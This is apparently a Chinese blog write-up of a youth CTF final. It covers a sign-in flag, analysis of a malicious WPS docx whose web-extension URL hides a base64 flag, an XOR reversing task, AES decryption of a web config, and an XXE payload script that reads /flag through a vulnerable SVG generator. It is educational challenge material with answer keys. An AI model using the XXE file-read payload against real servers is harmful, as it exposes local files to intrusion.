Hikaru Lab

Back

本次赛后题目信息来自 CTF-Archives/2025-jskn-final 仓库,本站提供部分题目文件镜像服务。您可以下载部分题目的源文件。

MISC#

签到#

欢迎参加第五届极客少年挑战赛决赛,本页面左侧包含MISC/PWN/REVERSE/WEB 四个模块的题目,总计3000分,你可以根据特长自行选择答题顺序。

  • 比赛时间:8月29日09:00-13:00;比赛时长:240分钟;
  • 各分类下的题目不要求按顺序完成,可自由答题。 接下来试试这道题目来完成签到:按YYYYMMDD输入今天的日期。

签到题,与初赛的签到题完全一样,按照 YYYYMMDD 格式输入决赛当天日期 即可。

ANSWER: 20250829
plaintext

文档里的暗门#

据报道,WPS Office 2023 个人版 < 11.1.0.15120存在远程命令执行漏洞,网上已经有公开的信息,并且小明拿到了一个恶意样本,现在需要对这个样本分析,找到样本中的所使用的远程地址,以及地址中潜在的FLAG信息,附件为漏洞说明及样本。

下载题目附件后,得到两个文件:

  • 有关此漏洞的README说明文件
  • 已被写入恶意内容的Docx样本文件

根据Docx文件特性,将 .docx 文件名后缀改为 .zip 后使用解压缩工具解压压缩包,得到以下文件:

Docx_to_zip

根据 README.md 中的提示,恶意代码可能会被注入在文档的 插件 中,因此我们需要分析 /word/webExtensions/webExtension1.xml 文件。

在XML文件中,我们不难注意到一个 正常域名+被加密的字符串 组成的一个URL:

<wpswe:url>http://clientweb.docer.wps.cn.itsamazingwps.cn/?codeToRun=RkxBR3tXUFNfUkNFX0FOQUxZU0lTfQ==</wpswe:url>
xml

根据这个字符串的特性,不难发现这个字符串被 Base64加密 过,因此仅需解码即可。

WPS_decoded

ANSWER: FLAG{WPS_RCE_ANALYSIS}
plaintext

REVERSE#

逆向的钥匙#

运行附件中的程序后,会打印出加密后的Flag,请通过逆向分析了解加密逻辑,还原出原始的Flag信息。格式为:flag{xxxxxxxxxxxx}。

使用 IDA Pro 打开题目exe附件,阅读反编译代码,可以看到一串被加密的flag:

Here is the flag: 2d2938573e42203d202b43206f74737d18452a753c282e0
plaintext

那么我们仅需再找出程序的加密代码再加以分析即可:

main_code

de_code

通过分析得知,这段代码在使用密钥 KEY0E0E 对给定的明文(flag)做 XOR加密,输出的flag就是被加密后的密文。因此,我们可以写出以下解密脚本:

c = "2d2938573e42203d202b43206f74737d18452a753c282e0e4d"
k = "KEY0E0E"
k_bytes = [ord(c) for c in k]
c_bytes = bytes.fromhex(c)

result = bytearray()
for i, b in enumerate(c_bytes):
    result.append(b ^ k_bytes[i % len(k_bytes)])

print(result)
python

运行即可得出结果:

ANSWER: flag{reverse_188AuoEyckW}
plaintext

WEB#

网页的暗号#

点击下方链接,生成目标网站页面,观察网站页面的请求,并找到藏在请求中的FLAG信息。

让我们分析一下网页源代码:

<script>
    function getConfig(){
      $.get("/config",function(data){
        if(data.error){
          return alert('错误:'+data.msg)
        }
        let config = decrypt(data.data,data.key,data.iv);
        config = JSON.parse(config)
        setTimeout(function(){
          url.innerHTML=`当前线路: <a href='${config.url}'>${config.url}</a>`;
        },3000)
      })
    }
    setInterval(function(){
      debugger;
    })
    window.onload=function(){
      getConfig();
    }
</script>
html

不难看出这是一套经典的 AES加密 题目,在比赛现场我们可以通过抓包获取解密需要的 key/iv/data 信息,直接写脚本解密即可:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key = "my32characterlongsecretpassword!"
iv_hex = "be4ff86ab0f25dc6c0c16417534dd29c"
data_hex = "5e9d2da6b8c19c92f5a87719186b2ba74dadede9db81efdab3d6285ab2047e2e27f8c932e4816f285faa5ee31768e038e4e74ceed4fc4557d9ab2dff098478ae2a3b0836222c16611d7ec67ffed19cb0"

key_bytes = key.encode('utf-8')
iv_bytes = bytes.fromhex(iv_hex)
data_bytes = bytes.fromhex(data_hex)

cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)

plain_bytes = cipher.decrypt(data_bytes)

plain_text = unpad(plain_bytes, AES.block_size)

print("解密结果:", plain_text.decode('utf-8'))
python

运行脚本后即可得到一串明文JSON字符,提取 flag 部分即可。

flag:a72a45aad3baabbb7d10385ed3e125c7:
plaintext

SVG的秘密#

小明想为自己的程序生成一个SVG图标,找到了在线的程序,他随手抓取了一个数据包,突然灵光一现,点击下方链接,生成目标网站页面,寻找网站中可能的漏洞,并读取/tmp/flag或/flag中的信息。

管他三七二十一先看前端与SVG生成有关的代码:

<script>
    document.getElementById('svgForm').addEventListener('submit', function(e) {
        e.preventDefault();
        const width = document.getElementById('width').value;
        const height = document.getElementById('height').value;
        const text = document.getElementById('text').value;
        const xmlData = `
            <\?xml version="1.0" encoding="UTF-8"?>
            <svg-request>
                <width>${width}</width>
                <height>${height}</height>
                <text>${text}</text>
            </svg-request>
        `.trim();
        fetch('generate_svg.php', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/xml'
            },
            body: xmlData
        })
        .then(response => response.text())
        .then(svgContent => {
            document.getElementById('svgPreview').innerHTML = svgContent;
        })
        .catch(error => {
            console.error('Error:', error);
            alert('生成SVG时出错');
        });
    });
</script>
html

通过阅读代码可知,前端会发送一个POST请求到 generate_svg.php 以生成SVG文件。分析这个PHP文件可以发现这个文件使用了 libxml ,因此存在 XXE利用漏洞 ,可以直接通过 XML注入 来读取本地flag文件。

综上,我们可以写出以下脚本:

import requests

xml = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg-request [
    <!ENTITY flag SYSTEM "file:///flag">
]>
<svg-request>
    <width>200</width>
    <height>100</height>
    <text>&flag;</text>
</svg-request>
'''

headers = {'Content-Type': 'application/xml'}
resp = requests.post('https://example.com/generate_svg.php', data=xml.encode('utf-8'), headers=headers)
print(resp.text)
python

运行后即可得到flag。由于比赛已经结束,暂时无法复现。

计算器的阴谋#

小明研究数学问题的时候,找到了一个在线的数学计算器程序,它很好奇这个程序的实现原理,于是测试了一番,发现好像存在安全问题,点击下方链接,生成目标网站页面,寻找网站中可能的漏洞,并读取/tmp/flag或/flag中的信息。

我没记错的话这个好像是一道使用 Node.js 环境的题目。


还没写完,待补充,困了zzz

第五届极客少年决赛部分题解
https://www.mengxiblog.top/blog/geekyouth-2025-final
Author Zhu Hongrui
Published at 2025年9月4日
Comment seems to stuck. Try to refresh?✨